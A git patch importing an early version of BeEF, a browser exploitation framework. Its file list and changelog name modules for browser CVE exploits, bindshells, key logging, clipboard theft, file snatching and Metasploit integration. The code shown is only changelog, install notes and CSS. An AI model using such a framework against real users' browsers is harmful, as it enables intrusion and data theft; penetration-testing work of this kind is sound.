From 03ffb4703d37555fc9723907e1ee052552391926 Mon Sep 17 00:00:00 2001 From: "wade@bindshell.net" Date: Mon, 11 Jan 2010 00:54:08 +0000 Subject: [PATCH] Initial Import git-svn-id: https://beef.googlecode.com/svn/trunk@2 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- CHANGELOG | 127 + INSTALL | 4 + VERSION | 1 + css/firefox/menu.css | 120 + css/firefox/style.css | 461 ++ css/ie/menu.css | 68 + css/ie/style.css | 471 +++ css/safari/menu.css | 70 + css/safari/style.css | 478 +++ hook/autorun.js.php | 22 + hook/beefmagic.js.php | 161 + hook/command.php | 35 + hook/example.php | 23 + hook/ipc_bindshell.js.php | 29 + hook/ipc_imap.js.php | 29 + hook/return.php | 95 + images/beef.gif | Bin 0 -> 486 bytes images/bones.gif | Bin 0 -> 356 bytes images/bsd.png | Bin 0 -> 253 bytes images/bsdfreebsd.png | Bin 0 -> 329 bytes images/chrome.png | Bin 0 -> 5268 bytes images/epiphany.png | Bin 0 -> 631 bytes images/firefox.png | Bin 0 -> 368 bytes images/konqueror.png | Bin 0 -> 285 bytes images/linux.png | Bin 0 -> 320 bytes images/mac.png | Bin 0 -> 282 bytes images/mozilla.png | Bin 0 -> 289 bytes images/msie.png | Bin 0 -> 314 bytes images/opera.png | Bin 0 -> 284 bytes images/safari.png | Bin 0 -> 324 bytes images/unknown.png | Bin 0 -> 218 bytes images/win.png | Bin 0 -> 334 bytes include/browserdetection.inc.php | 237 ++ include/check_install.inc.php | 24 + include/common.inc.php | 157 + include/filter.inc.php | 26 + include/globals.inc.php | 112 + include/hook.inc.php | 65 + include/msf.inc.php | 7 + include/msf_filter.inc.php | 134 + include/ui_module.inc.php | 96 + include/ui_zombie.inc.php | 230 + include/xmlrpc.inc.php | 3718 +++++++++++++++++ index.php | 126 + js/autorun.js | 33 + js/builder.js | 101 + js/common.js | 110 + js/controls.js | 821 ++++ js/dragdrop.js | 931 +++++ js/effects.js | 959 +++++ js/log.js | 30 + js/module.js | 25 + js/msf.js | 115 + js/prototype.js | 2006 +++++++++ js/scriptaculous.js | 47 + js/slider.js | 292 ++ js/zombie.js | 200 + modules/browser/cve_2006_3730/index.php | 62 + modules/browser/cve_2006_3730/name.txt | 1 + modules/browser/cve_2006_3730/template.js | 38 + modules/browser/cve_2009_0075/index.php | 80 + modules/browser/cve_2009_0075/name.txt | 1 + modules/browser/cve_2009_0075/template.js | 35 + modules/browser/cve_2009_0137/index.php | 52 + modules/browser/cve_2009_0137/name.txt | 1 + modules/browser/cve_2009_0137/snatchxml.php | 20 + modules/browser/cve_2009_0137/template.js | 11 + modules/browser/cve_2009_0137/xss-max.xml | 66 + modules/browser/dos_chrome/index.php | 71 + modules/browser/dos_chrome/name.txt | 1 + modules/browser/dos_chrome/template.js | 6 + modules/browser/dos_firefox/ffkeygendos.html | 7 + modules/browser/dos_firefox/index.php | 46 + modules/browser/dos_firefox/name.txt | 1 + modules/browser/dos_firefox/template.js | 12 + modules/browser/dos_generic/browserdos.html | 4 + modules/browser/dos_generic/index.php | 43 + modules/browser/dos_generic/name.txt | 1 + modules/browser/dos_generic/template.js | 15 + .../browser/malicious_applet/SignedUpdate.jar | Bin 0 -> 2162 bytes modules/browser/malicious_applet/index.php | 52 + modules/browser/malicious_applet/name.txt | 1 + modules/browser/malicious_applet/template.js | 30 + .../mozilla_nsiprocess_interface/index.php | 53 + .../mozilla_nsiprocess_interface/name.txt | 1 + .../mozilla_nsiprocess_interface/template.js | 17 + modules/browser/msf_autopwn/index.php | 61 + modules/browser/msf_autopwn/name.txt | 1 + modules/browser/msf_autopwn/template.js | 14 + modules/browser/msf_autopwn_manual/beef.rc | 9 + modules/browser/msf_autopwn_manual/index.php | 59 + modules/browser/msf_autopwn_manual/name.txt | 1 + .../browser/msf_autopwn_manual/template.js | 17 + modules/browser/msf_browser_expliot/index.php | 68 + modules/browser/msf_browser_expliot/name.txt | 1 + .../browser/msf_browser_expliot/template.js | 14 + modules/browser/msf_capture_hashes/index.php | 65 + modules/browser/msf_capture_hashes/name.txt | 1 + .../browser/msf_capture_hashes/template.js | 14 + .../SignedUpdate.jar | Bin 0 -> 2581 bytes .../msf_malicious_java_applet/Update.class | Bin 0 -> 1949 bytes .../msf_malicious_java_applet/index.php | 54 + .../msf_malicious_java_applet/name.txt | 1 + .../msf_malicious_java_applet/template.js | 23 + modules/network/asterisk_ipe/index.php | 55 + modules/network/asterisk_ipe/name.txt | 1 + modules/network/asterisk_ipe/template.js | 78 + modules/network/bindshell_ipc/index.php | 61 + modules/network/bindshell_ipc/name.txt | 1 + modules/network/bindshell_ipc/template.js | 89 + modules/network/browser_redirect/index.php | 46 + modules/network/browser_redirect/name.txt | 1 + modules/network/browser_redirect/template.js | 6 + modules/network/browser_request/index.php | 45 + modules/network/browser_request/name.txt | 1 + modules/network/browser_request/template.js | 17 + modules/network/detect_host_ip/index.php | 40 + modules/network/detect_host_ip/name.txt | 1 + modules/network/detect_host_ip/template.js | 21 + modules/network/detect_hostname/index.php | 40 + modules/network/detect_hostname/name.txt | 1 + modules/network/detect_hostname/template.js | 21 + modules/network/detect_tor/index.php | 46 + modules/network/detect_tor/name.txt | 1 + modules/network/detect_tor/template.js | 25 + modules/network/detect_visited_urls/alexa.txt | 499 +++ modules/network/detect_visited_urls/index.php | 587 +++ modules/network/detect_visited_urls/name.txt | 1 + .../network/detect_visited_urls/search.txt | 8 + modules/network/detect_visited_urls/sites.txt | 41 + .../network/detect_visited_urls/social.txt | 33 + .../network/detect_visited_urls/template.js | 57 + .../distributed_port_scanner/index.php | 97 + .../network/distributed_port_scanner/name.txt | 1 + .../distributed_port_scanner/template.js | 46 + modules/network/imap_ipc/index.php | 55 + modules/network/imap_ipc/name.txt | 1 + modules/network/imap_ipc/template.js | 74 + .../vtiger_crm_upload_exploit/index.php | 76 + .../vtiger_crm_upload_exploit/name.txt | 2 + .../vtiger_crm_upload_exploit/template.js | 161 + modules/standard/alert_dialog/index.php | 45 + modules/standard/alert_dialog/name.txt | 1 + modules/standard/alert_dialog/template.js | 6 + modules/standard/clipboard_theft/index.php | 42 + modules/standard/clipboard_theft/name.txt | 1 + modules/standard/clipboard_theft/template.js | 2 + modules/standard/deface_web_page/index.php | 45 + modules/standard/deface_web_page/name.txt | 1 + modules/standard/deface_web_page/template.js | 7 + modules/standard/detect_flash/index.php | 41 + modules/standard/detect_flash/name.txt | 1 + modules/standard/detect_flash/template.js | 13 + modules/standard/detect_java/index.php | 42 + modules/standard/detect_java/name.txt | 1 + modules/standard/detect_java/template.js | 17 + modules/standard/detect_plugins/index.php | 41 + modules/standard/detect_plugins/name.txt | 1 + modules/standard/detect_plugins/template.js | 19 + modules/standard/detect_quicktime/index.php | 40 + modules/standard/detect_quicktime/name.txt | 1 + modules/standard/detect_quicktime/template.js | 23 + modules/standard/detect_software/index.php | 49 + modules/standard/detect_software/name.txt | 1 + modules/standard/detect_software/template.js | 179 + .../standard/detect_unsafe_activex/index.php | 46 + .../standard/detect_unsafe_activex/name.txt | 1 + .../detect_unsafe_activex/template.js | 14 + modules/standard/detect_vbscript/index.php | 42 + modules/standard/detect_vbscript/name.txt | 1 + modules/standard/detect_vbscript/template.js | 15 + .../MacAddressApplet.class | Bin 0 -> 3445 bytes .../standard/detect_virtual_machine/index.php | 46 + .../macaddressapplet.jar | Bin 0 -> 2311 bytes .../standard/detect_virtual_machine/name.txt | 1 + .../detect_virtual_machine/template.js | 136 + modules/standard/prompt_dialog/index.php | 45 + modules/standard/prompt_dialog/name.txt | 1 + modules/standard/prompt_dialog/template.js | 6 + modules/standard/raw_javascript/index.php | 56 + modules/standard/raw_javascript/name.txt | 1 + modules/standard/raw_javascript/template.js | 17 + modules/standard/rewrite_status_bar/index.php | 45 + modules/standard/rewrite_status_bar/name.txt | 1 + .../standard/rewrite_status_bar/template.js | 6 + pw.php | 3 + submit_config.php | 77 + ui/about.php | 32 + ui/exampleusage.php | 21 + ui/favicon.ico | Bin 0 -> 3638 bytes ui/get_module_details.php | 35 + ui/get_zombie_details.php | 73 + ui/help.php | 62 + ui/index.php | 464 ++ ui/log.php | 28 + ui/logcontrol.php | 44 + ui/msf.php | 507 +++ ui/options.php | 15 + ui/send_cmds.php | 95 + ui/thanks.php | 20 + ui/update.php | 15 + 201 files changed, 18853 insertions(+) create mode 100644 CHANGELOG create mode 100644 INSTALL create mode 100644 VERSION create mode 100644 css/firefox/menu.css create mode 100644 css/firefox/style.css create mode 100644 css/ie/menu.css create mode 100644 css/ie/style.css create mode 100644 css/safari/menu.css create mode 100644 css/safari/style.css create mode 100644 hook/autorun.js.php create mode 100644 hook/beefmagic.js.php create mode 100644 hook/command.php create mode 100644 hook/example.php create mode 100644 hook/ipc_bindshell.js.php create mode 100644 hook/ipc_imap.js.php create mode 100644 hook/return.php create mode 100644 images/beef.gif create mode 100644 images/bones.gif create mode 100644 images/bsd.png create mode 100644 images/bsdfreebsd.png create mode 100644 images/chrome.png create mode 100644 images/epiphany.png create mode 100644 images/firefox.png create mode 100644 images/konqueror.png create mode 100644 images/linux.png create mode 100644 images/mac.png create mode 100644 images/mozilla.png create mode 100644 images/msie.png create mode 100644 images/opera.png create mode 100644 images/safari.png create mode 100644 images/unknown.png create mode 100644 images/win.png create mode 100644 include/browserdetection.inc.php create mode 100644 include/check_install.inc.php create mode 100644 include/common.inc.php create mode 100644 include/filter.inc.php create mode 100644 include/globals.inc.php create mode 100644 include/hook.inc.php create mode 100644 include/msf.inc.php create mode 100644 include/msf_filter.inc.php create mode 100644 include/ui_module.inc.php create mode 100644 include/ui_zombie.inc.php create mode 100644 include/xmlrpc.inc.php create mode 100644 index.php create mode 100644 js/autorun.js create mode 100644 js/builder.js create mode 100644 js/common.js create mode 100644 js/controls.js create mode 100644 js/dragdrop.js create mode 100644 js/effects.js create mode 100644 js/log.js create mode 100644 js/module.js create mode 100644 js/msf.js create mode 100644 js/prototype.js create mode 100644 js/scriptaculous.js create mode 100644 js/slider.js create mode 100644 js/zombie.js create mode 100644 modules/browser/cve_2006_3730/index.php create mode 100644 modules/browser/cve_2006_3730/name.txt create mode 100644 modules/browser/cve_2006_3730/template.js create mode 100644 modules/browser/cve_2009_0075/index.php create mode 100644 modules/browser/cve_2009_0075/name.txt create mode 100644 modules/browser/cve_2009_0075/template.js create mode 100644 modules/browser/cve_2009_0137/index.php create mode 100644 modules/browser/cve_2009_0137/name.txt create mode 100644 modules/browser/cve_2009_0137/snatchxml.php create mode 100644 modules/browser/cve_2009_0137/template.js create mode 100644 modules/browser/cve_2009_0137/xss-max.xml create mode 100644 modules/browser/dos_chrome/index.php create mode 100644 modules/browser/dos_chrome/name.txt create mode 100644 modules/browser/dos_chrome/template.js create mode 100644 modules/browser/dos_firefox/ffkeygendos.html create mode 100644 modules/browser/dos_firefox/index.php create mode 100644 modules/browser/dos_firefox/name.txt create mode 100644 modules/browser/dos_firefox/template.js create mode 100644 modules/browser/dos_generic/browserdos.html create mode 100644 modules/browser/dos_generic/index.php create mode 100644 modules/browser/dos_generic/name.txt create mode 100644 modules/browser/dos_generic/template.js create mode 100644 modules/browser/malicious_applet/SignedUpdate.jar create mode 100644 modules/browser/malicious_applet/index.php create mode 100644 modules/browser/malicious_applet/name.txt create mode 100644 modules/browser/malicious_applet/template.js create mode 100644 modules/browser/mozilla_nsiprocess_interface/index.php create mode 100644 modules/browser/mozilla_nsiprocess_interface/name.txt create mode 100644 modules/browser/mozilla_nsiprocess_interface/template.js create mode 100644 modules/browser/msf_autopwn/index.php create mode 100644 modules/browser/msf_autopwn/name.txt create mode 100644 modules/browser/msf_autopwn/template.js create mode 100644 modules/browser/msf_autopwn_manual/beef.rc create mode 100644 modules/browser/msf_autopwn_manual/index.php create mode 100644 modules/browser/msf_autopwn_manual/name.txt create mode 100644 modules/browser/msf_autopwn_manual/template.js create mode 100644 modules/browser/msf_browser_expliot/index.php create mode 100644 modules/browser/msf_browser_expliot/name.txt create mode 100644 modules/browser/msf_browser_expliot/template.js create mode 100644 modules/browser/msf_capture_hashes/index.php create mode 100644 modules/browser/msf_capture_hashes/name.txt create mode 100644 modules/browser/msf_capture_hashes/template.js create mode 100755 modules/browser/msf_malicious_java_applet/SignedUpdate.jar create mode 100755 modules/browser/msf_malicious_java_applet/Update.class create mode 100755 modules/browser/msf_malicious_java_applet/index.php create mode 100755 modules/browser/msf_malicious_java_applet/name.txt create mode 100755 modules/browser/msf_malicious_java_applet/template.js create mode 100644 modules/network/asterisk_ipe/index.php create mode 100644 modules/network/asterisk_ipe/name.txt create mode 100644 modules/network/asterisk_ipe/template.js create mode 100644 modules/network/bindshell_ipc/index.php create mode 100644 modules/network/bindshell_ipc/name.txt create mode 100644 modules/network/bindshell_ipc/template.js create mode 100644 modules/network/browser_redirect/index.php create mode 100644 modules/network/browser_redirect/name.txt create mode 100644 modules/network/browser_redirect/template.js create mode 100644 modules/network/browser_request/index.php create mode 100644 modules/network/browser_request/name.txt create mode 100644 modules/network/browser_request/template.js create mode 100644 modules/network/detect_host_ip/index.php create mode 100644 modules/network/detect_host_ip/name.txt create mode 100644 modules/network/detect_host_ip/template.js create mode 100644 modules/network/detect_hostname/index.php create mode 100644 modules/network/detect_hostname/name.txt create mode 100644 modules/network/detect_hostname/template.js create mode 100755 modules/network/detect_tor/index.php create mode 100755 modules/network/detect_tor/name.txt create mode 100755 modules/network/detect_tor/template.js create mode 100644 modules/network/detect_visited_urls/alexa.txt create mode 100644 modules/network/detect_visited_urls/index.php create mode 100644 modules/network/detect_visited_urls/name.txt create mode 100644 modules/network/detect_visited_urls/search.txt create mode 100644 modules/network/detect_visited_urls/sites.txt create mode 100644 modules/network/detect_visited_urls/social.txt create mode 100644 modules/network/detect_visited_urls/template.js create mode 100644 modules/network/distributed_port_scanner/index.php create mode 100644 modules/network/distributed_port_scanner/name.txt create mode 100644 modules/network/distributed_port_scanner/template.js create mode 100644 modules/network/imap_ipc/index.php create mode 100644 modules/network/imap_ipc/name.txt create mode 100644 modules/network/imap_ipc/template.js create mode 100644 modules/network/vtiger_crm_upload_exploit/index.php create mode 100644 modules/network/vtiger_crm_upload_exploit/name.txt create mode 100644 modules/network/vtiger_crm_upload_exploit/template.js create mode 100644 modules/standard/alert_dialog/index.php create mode 100644 modules/standard/alert_dialog/name.txt create mode 100644 modules/standard/alert_dialog/template.js create mode 100644 modules/standard/clipboard_theft/index.php create mode 100644 modules/standard/clipboard_theft/name.txt create mode 100644 modules/standard/clipboard_theft/template.js create mode 100644 modules/standard/deface_web_page/index.php create mode 100644 modules/standard/deface_web_page/name.txt create mode 100644 modules/standard/deface_web_page/template.js create mode 100644 modules/standard/detect_flash/index.php create mode 100644 modules/standard/detect_flash/name.txt create mode 100644 modules/standard/detect_flash/template.js create mode 100644 modules/standard/detect_java/index.php create mode 100644 modules/standard/detect_java/name.txt create mode 100644 modules/standard/detect_java/template.js create mode 100644 modules/standard/detect_plugins/index.php create mode 100644 modules/standard/detect_plugins/name.txt create mode 100644 modules/standard/detect_plugins/template.js create mode 100644 modules/standard/detect_quicktime/index.php create mode 100644 modules/standard/detect_quicktime/name.txt create mode 100644 modules/standard/detect_quicktime/template.js create mode 100755 modules/standard/detect_software/index.php create mode 100755 modules/standard/detect_software/name.txt create mode 100755 modules/standard/detect_software/template.js create mode 100644 modules/standard/detect_unsafe_activex/index.php create mode 100644 modules/standard/detect_unsafe_activex/name.txt create mode 100644 modules/standard/detect_unsafe_activex/template.js create mode 100644 modules/standard/detect_vbscript/index.php create mode 100644 modules/standard/detect_vbscript/name.txt create mode 100644 modules/standard/detect_vbscript/template.js create mode 100644 modules/standard/detect_virtual_machine/MacAddressApplet.class create mode 100644 modules/standard/detect_virtual_machine/index.php create mode 100644 modules/standard/detect_virtual_machine/macaddressapplet.jar create mode 100644 modules/standard/detect_virtual_machine/name.txt create mode 100644 modules/standard/detect_virtual_machine/template.js create mode 100644 modules/standard/prompt_dialog/index.php create mode 100644 modules/standard/prompt_dialog/name.txt create mode 100644 modules/standard/prompt_dialog/template.js create mode 100644 modules/standard/raw_javascript/index.php create mode 100644 modules/standard/raw_javascript/name.txt create mode 100644 modules/standard/raw_javascript/template.js create mode 100644 modules/standard/rewrite_status_bar/index.php create mode 100644 modules/standard/rewrite_status_bar/name.txt create mode 100644 modules/standard/rewrite_status_bar/template.js create mode 100644 pw.php create mode 100644 submit_config.php create mode 100644 ui/about.php create mode 100644 ui/exampleusage.php create mode 100644 ui/favicon.ico create mode 100644 ui/get_module_details.php create mode 100644 ui/get_zombie_details.php create mode 100644 ui/help.php create mode 100644 ui/index.php create mode 100644 ui/log.php create mode 100644 ui/logcontrol.php create mode 100644 ui/msf.php create mode 100644 ui/options.php create mode 100644 ui/send_cmds.php create mode 100644 ui/thanks.php create mode 100644 ui/update.php diff --git a/CHANGELOG b/CHANGELOG new file mode 100644 index 000000000..58dfbb8aa --- /dev/null +++ b/CHANGELOG @@ -0,0 +1,127 @@ +Version 0.4.0.1 +Example (example.php) hardcoded path bug fixed + +Version 0.4.0.0 +Minor Aesthetic Updates + +Version 0.3.3.8 +Metasploit redirect delay increased +URL filter bug fixed +Module nsl_process_xpcom updated + +Version 0.3.3.7 +Menu items updated +Network Modules menu added +Inter-protocol Module menu combined with Network Modules menu +Filtering increased + +Version 0.3.3.6 +XML RPC support added (/include/xmlrpc.inc.php) +Integration with Metasploit added +MSF Browser Exploit module added +MSF SMB challange capture added +Another Autopwn module added (this one using XML RPC) + +Version 0.3.3.5 +Module torenabled added +Logs moved to cache directory + +Verison 0.3.3.4 +UXL support added to beefmagic.js.php + +Version 0.3.3.3 +Module internal ip added +Module internal hostname added +Module nsl_process_xpcom added +Autorun changed to post +Delay (2 second) added to autorun +beefmagic.js.php updated for firefox chrome zone support + +Version 0.3.3.2 +example.html changed to example.php +Malicious java applet module added +Module code/data sent in post +Visit module additional urls added +malicious_msf_applet added +StripSlashes removed from send_code() +Module smbenum added + +Version 0.3.3.1 +vmdetect module updated to use Java +vtiger upload exploit module added +browser dos fun module added +msf auto pwn module added +Base64 bug in send_cmds fixed +Ajax.Updater bug work-around in zombie send_code() + +Version 0.3.3 +Logging functionality added +URL append / bug fix +xss-example.htm renamed to example.htm +Menu item for 'Spawn Zombie Window' added +Menu items for log management added +Zombie html content hidden by default +Zombie html content unsafe viewing added +Zombie html content display slash removal +Modules can now be set as autorun and send code +Autorun modules can now return results +index.php deleted from the hook directory +CSS added for Safari and IE8 +Log panel added to main view +Prompt modules added +Redirect modules added +Statusbar module added +Prompt module added +Chrome detected as zombie + +Version 0.3.2.2 +CVE-2009-0075 autorun module added (IE XP SP2 bindshell) + +Version 0.3.2.1.1 +This changelog file added + +Version 0.3.2.1 +Zombie results now append rather than over write +Safari cache work around added +Autorun JS with useragent regexp added +Flash enabled module added +Java enabled module added +CVE-2009-0075 module added (IE XP SP2 bindshell) +CVE-2009-0137 module added (Safari File Snatching) +mob018 module moved to CVE-2009-3730 for consistency + +Version 0.3.1.6 +Inter-Protocol Communication Module Example +Inter-Protocol Exploition Module Example +Browser Exploit Module Example +Minor Updates + +Version 0.3.1.5 +CSS Bug Fix + +Version 0.3.1.4 +BeEF Module Bug Fix +PHP4 Bug Fix + +Version 0.3.1.3 +Installation Bug Fix + +Version 0.3.1.2 +Installation Functionality added +PHP 4 bug fix + +Version 0.3.1.1 +Added w3c compliance +Debug console bug fixed + +Version 0.3.1 +UI Changes +Zombie specifics added: key logger, content and browser details +Autorun Modules added +Distributed Module Support Added: distributed port scanner +Fine grain control over which zombie a module will send code (sidebar zombies). + +Version 0.2.1 +PHP 4 bugs fixed + + diff --git a/INSTALL b/INSTALL new file mode 100644 index 000000000..e5826c030 --- /dev/null +++ b/INSTALL @@ -0,0 +1,4 @@ +Browse to /beef/ and follow the instructions + +Don't forget to chown the beef directory and its contents + diff --git a/VERSION b/VERSION new file mode 100644 index 000000000..add7d6609 --- /dev/null +++ b/VERSION @@ -0,0 +1 @@ +0.4.0.1 diff --git a/css/firefox/menu.css b/css/firefox/menu.css new file mode 100644 index 000000000..a34540860 --- /dev/null +++ b/css/firefox/menu.css @@ -0,0 +1,120 @@ +div.menu { + padding: 0px; + padding-bottom: 6px; + margin: 0px; + width: 100%; + height: 1.5em; + position: relative; + font-size: 150%; + font-weight: bold; + z-index: 1; + border : 1px solid #cccccc; + background-color: transparent; + margin-bottom: 0px; + text-align: right; +} +div.menu ul { + padding: 0px; + margin: 0px; + list-style-type: none; + font-size: inherit; + border: 0px; + margin-top: 2px; +} +div.menu li { + float: left; + padding-right: 0px; + position: relative; + z-index: 11; + margin-left: 10px; +} +div.menu ul ul { + visibility: hidden; + position: absolute; + height: 0px; + top: 1.5em; /* must be <= div.menu>a height */ +} +div.menu ul li a { + border: 1px solid #ffffff; + text-align: left; +} +div.menu ul ul a:visited { + height: auto; + min-width: 16em; /* dropdown width*/ + background-color: #ffffff; +} +div.menu a { + padding: 0px; + padding-left: 3px; + padding-right: 4px; + display: block; + min-height: 1.5em; + line-height: 1.4em; + z-index: 11; + text-decoration: none; + background: #ffffff; + background-color: transparent; +} +div.menu a:visited { + padding: 0px; + padding-left: 3px; + display: block; + min-width: 1.5em; /* changes width */ + min-height: 1.5em; + line-height: 1.4em; + z-index: 11; + text-decoration:none; +} +div.menu a:focus { + padding: 0px; + padding-left: 3px; + display: block; + min-width: 11.5em; + min-height: 1.5em; + line-height: 1.4em; + z-index: 11; + text-decoration: none; +} +div.menu a:hover { + min-width: 16em; +} +div.menu ul li a:hover { + background: #cccccc; + min-width: 1em; + border: 1px solid #ffffff; +} + +div.menu ul li a:visited { + min-width: 1em; + border: 1px solid #ffffff; +} + +div.menu ul li ul a:hover { + background: #cccccc; + min-width: 16em; +} + +div.menu ul li ul { + background: #cccccc; + min-width: 16em; +} + +div.menu ul li:hover ul, div.menu ul a:hover ul { + visibility: visible; + width: 16em; +} + +div.menu div a:hover { + background: #ffffff; +} + +div.menu ul li ul li{ /* zombies menu */ + border: 0.5px solid #cccccc; + margin-left: 0px; + width: 17em; + background-color: #ffffff; +} + +div.menu ul li ul{ + width: 16em; +} \ No newline at end of file diff --git a/css/firefox/style.css b/css/firefox/style.css new file mode 100644 index 000000000..c14263b34 --- /dev/null +++ b/css/firefox/style.css @@ -0,0 +1,461 @@ +/* BODY */ +body { + background-color: white; + width: 990px; + margin-top: 10px; + margin-bottom: 10px; + margin-right: 10px; + color: #333; + font-family: Lucida Grande, Bitstream Vera Sans, Verdana, sans-serif; +} + +#autorun_dyn { + text-align: center +} +/* MAIN */ +#main { + position: static; + width: 534px; + padding-left: 178px; + margin-right: 0px; + padding-right: 0px; + margin-top: 0px; +} + +#bottom { + position: relative; + margin-top: 0px; +} + +/* PAGE HEADER */ +#pageheader { + margin-top: 0px; + padding: 0px; + padding-bottom: 5px; + font-size: 45%; +} + +#pageheader a { + text-decoration: none; + color: #000000; +} + +/* BUTTONS */ +#page .button { + width: 8em; + background: #FFFFFF; +} + +#sidebar .button { + width: 100%; + background: #FFFFFF; + padding: 0; + margin: 1px; +} + +/* LOG SIDEBAR */ +#logsidebar { + position: absolute; + left: 728px; + width: 250px; + margin: 0px; + border: 1px solid #ccc; + margin-right: 5px; + margin-bottom: 10px; + padding: 10px; + padding-top: 0px; + height: 550px; + overflow: hidden; +} + +#logsidebar h2 { + font-size: large; + text-align: center; + margin-top: 5px; + margin-bottom: 1px; + padding-top: 2px; +} + +#logsidebar a { + color: rgb(204, 204, 204); + display: inline; + font-size: 11px; + height: 0px; + margin-right: 0px; + margin-top: 0px; + padding-bottom: 10px; + padding-left: 0px; + padding-right: 0px; + padding-top: 0px; + text-decoration: none; + width: 0px; + text-align: center +} + +#logdyn { + font-size: 11px; + overflow: auto; + height: 490px; +} + +#log_header { + margin-bottom: 10px; +} + +/* SIDEBAR */ +#sidebar { + position: absolute; + width: 150px; + margin: 0px; + border: 1px solid #ccc; + margin-right: 5px; + margin-bottom: 10px; + padding: 10px; + padding-top: 0px; + height: 550px; + overflow: hidden; +} + +#sidebar textarea, #sidebar input, #sidebar select { + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#sidebar a:link { + text-decoration: none; + font-size: 75%; + color: #FF0000; + text-align: center +} + +#sidebar #content { + background-color: transparent; + font-size: 80%; +} + +#sidebar h1 { + font-size: x-large; + text-align: center; + margin-top: 5px; + margin-bottom: 15px; + padding-top: 2px; +} + +#sidebar h2 { + font-size: large; + text-align: center; + margin-top: 5px; + margin-bottom: 1px; + padding-top: 2px; +} + +/* PAGE */ +#section { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; +} + +/* PAGE */ +#newpage { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; + font-size: 80%; +} + + +#section_title { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; +} + +#section_content { + margin: 1px; + border: 1px solid #ccc; + padding: 1px; + padding-top: 0px; + background-color: #ccc; + +} + +/* PAGE */ +#page { + margin-top: 0px; + margin-right: -2px; + border: 1px solid #ccc; + padding: 10px; + padding-top: 0px; + font-size: 80%; + height: 550px; + overflow: auto; +} + +#page textarea, #page input, #page select { + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#page #content { + background-color: transparent; +}/* + +#page p { + margin-top: 0; +} + +#page h2 { + font-size: large; + text-align: center; + border-bottom: 1px solid #ccc; + padding-bottom: 2px; +} + +#page h3 { + text-align: center; + padding-top: 10px; + margin: 0px; + font-size: 100%; +} + +/* DYNAMIC ZOMBIE SECTION */ +#zombies { + text-align: left; + vertical-align: -30px; + height: 15px; + font-size: 110%; + padding: 0; + margin:0; + padding-top: 0px; + margin-bottom: 2px; + border: 1px solid #ccc; + margin-right: -1px; + margin-left: 1px; + width: 130px; +} + +#zombies p { + vertical-align: -10px; + margin:0px; + padding: 0px; +} + +#zombies img { + text-align: left; + vertical-align: -1px; + padding: 1px; + margin:0; + padding-top: 0px; + padding-left: 2px; + margin-bottom: 1px; + margin-top: 1px; + margin-left: 1px; +} + +/* SELECTED DYNAMIC ZOMBIE SECTION */ +#zombiessel { + background-color: #ccc; + text-align: left; + vertical-align: -30px; + height: 15px; + font-size: 110%; + padding: 0; + margin:0; + padding-top: 0px; + margin-bottom: 2px; + border: 1px solid #ccc; + margin-right: -1px; + margin-left: 1px; +} + +#zombiessel p { + vertical-align: -10px; + margin:0px; + padding: 0px; +} + +#zombiessel img { + text-align: left; + vertical-align: -1px; + padding: 1px; + margin:0; + padding-top: 0px; + padding-left: 2px; + margin-bottom: 1px; + margin-top: 1px; + margin-left: 1px; +} + +#zombiesdyn { + text-align: center; + overflow-y: auto; + overflow-x: hidden; + height: 350px; +} + +#module_header { + font-size: large; + font-weight: bold; + text-align: left; + padding-top: 10px; + margin: 0px; +} + +#module_subsection { + margin-top: 0px; + margin-right: 0px; + border: 1px solid #ccc; + padding: 10px; + padding-left: 5px; + padding-top: 0px; + padding-bottom: 0px; + font-size: 100%; +} + +/* BUTTONS */ +#module_subsection .button { + width: 8em; + background: #FFFFFF; +} + +#module_subsection textarea { + font-family: Lucida Grande, Bitstream Vera Sans, Verdana, sans-serif; + width: 100%; + font-size: 80%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#module_subsection input, #module_subsection select { +/* font-weight: bold; */ + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#module_subsection_header { + font-weight: bold; + margin-top: 0px; + margin-right: 0px; + padding: 0px; + padding-left: 0px; + padding-top: 0px; +/* font-size: 120%; */ +/* display: inline; */ +} + +#zombie_header { + font-size: large; + font-weight: bold; + text-align: left; + padding-top: 10px; + margin: 0px; +} + +#zombie_subsection { +/* font-weight: bold; */ + margin-top: 0px; + margin-right: 0px; + border: 1px solid #ccc; + padding: 0px; + padding-left: 5px; + padding-top: 0px; + font-size: 100%; +} + +#zombie_subsection_header { + font-weight: bold; + margin-top: 0px; + margin-right: 0px; + padding: 0px; + padding-left: 0px; + padding-top: 0px; +/* font-size: 120%; */ + display: inline; +} + +#zombie_header a { + display: inline; + text-decoration: none; +/* font-weight: none; */ + margin-top: 0px; + margin-right: 0px; + padding: 0px; + padding-left: 0px; + padding-top: 0px; +/* color: #FF0000; */ + color: #CCCCCC; + font-size: 60%; +} + +#zombie_subsection textarea, #zombie_subsection input, #zombie_subsection select { + width: 100%; + margin: 5px 0; + padding: 1px; + border: #CCCCCC 1px solid; +} + +#zombie_page_title { + font-weight: bold; + text-align: left; + padding-top: 100px; + margin-top: 100px; + font-size: 180%; +} + +/* ZOMBIE TEXT - on buttons*/ +#zombietext { + color: black; + font-size: 110%; + padding-top: 10px; + margin-top: -27px; + margin-left: 5px; +} + +/* GENERAL CONTENT (HELP, ETC) */ +DIV.entry { + margin-bottom: 10px; +} + DIV.entry P { + margin: 0; + } + DIV.entry P.title { + font-size: large; + font-weight: bold; + text-align: left; + padding-top: 10px; + margin: 0px; + } + + DIV.entry a { + text-decoration: none; + color: #FF0000; + } + +#credits { + float: right; + position: static; + margin-right: 10px; + margin-top: -24px; + font-size: 70%; + text-decoration: none; + color: #FF0000; + font-weight: bold; + z-index: 40; +} + +#credits a { + color: #FF0000; + text-decoration: none; + z-index: 40; +} diff --git a/css/ie/menu.css b/css/ie/menu.css new file mode 100644 index 000000000..994f73e61 --- /dev/null +++ b/css/ie/menu.css @@ -0,0 +1,68 @@ +/* + * no > selectors are used, 'cause some browsers are too stupid + */ +div.menu { + padding: 3px; + margin: 0px; + width: 99%; + height: 1.5em; + border: 1px solid #cccccc; + position: relative; + font-size: 150%; + font-weight: bold; + background: transparent; + z-index: 1; 